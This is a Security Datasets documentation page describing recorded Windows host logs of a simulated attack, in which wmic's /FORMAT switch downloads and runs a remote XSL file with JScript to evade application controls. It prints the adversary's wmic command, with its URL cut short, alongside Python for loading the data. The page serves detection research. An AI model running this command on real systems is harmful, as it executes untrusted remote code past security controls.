



Security Datasets

HOW-TO

Create Datasets

Consume Datasets

ATOMIC DATASETS

aws

linux

windows

defense_evasion

Empire Powerview Add-DomainObjectAcl

Empire Over-Pass-The-Hash

IKEEXT Remote Service DLL Hijack

Empire PSInject

Empire WDigest Downgrade

Empire Enable RDP

Empire Invoke DLLInjection

Covenant ShellCmd InstallUtil

Empire Invoke InternalMonologue

Empire Regsvr32 Execution

Covenant Wuaclt CreateRemoteThread Execution

WMIC Remote XSL Jscript Execution

Mavinject Process DLL Injection

Netsh Open FW Proxy Ports

HH Execution of Local Compiled HTML Payload

Control Panel Execution

WMIC Remote XSL Jscript Execution

Metadata

Contributors	Roberto Rodriguez @Cyb3rWard0g
Creation Date	2020/10/17
Modification Date	2020/10/17
Tactics	TA0005
Techniques	T1220
Tags	None

Dataset Description

This dataset represents adversaries proxy executing code and bypassing application controls by leveraging wmic and the `/FORMAT` argument switch to download and execute an XSL file (jscript).

Datasets Downloads

Type	Link
Host	https://raw.githubusercontent.com/OTRF/Security-Datasets/master/datasets/atomic/windows/defense_evasion/host/wmic_remote_xsl_jscript.zip

Simulation Metadata

Tools

Contents

Metadata

Dataset Description

Datasets Downloads

Simulation Metadata

Adversary View

Explore Datasets

References

type	Name	Module
Manual	ART	wmicscript

Adversary View

```
wmic process list /FORMAT:"https://raw.githubusercontent.com/OTRF/Security-Dataset
```

Explore Datasets

Download & Decompress Dataset

```
import requests
from zipfile import ZipFile
from io import BytesIO

url = https://raw.githubusercontent.com/OTRF/Security-Dataset
zipFileRequest = requests.get(url)
zipFile = ZipFile(BytesIO(zipFileRequest.content))
datasetJSONPath = zipFile.extract(zipFile.namelist()[0])
```

Read JSON File

```
from pandas.io import json

df = json.read_json(path_or_buf=datasetJSONPath, lines=True)
```

Access Security Events

```
df.groupby(['Channel']).size().sort_values(ascending=False)
```

References

- <https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdeb04b37049a85db/atomics/T1220/T1220.md#atomic-test-4—wmic-bypass-using-remote-xsl-file>
- https://twitter.com/dez_/status/986614411711442944

Previous
[Covenant Wuaucnt
CreateRemoteThread Execution](#)

Next
[Mavinject Process DLL Injection](#)

By Roberto Rodriguez @Cyb3rWard0g
© Copyright 2022.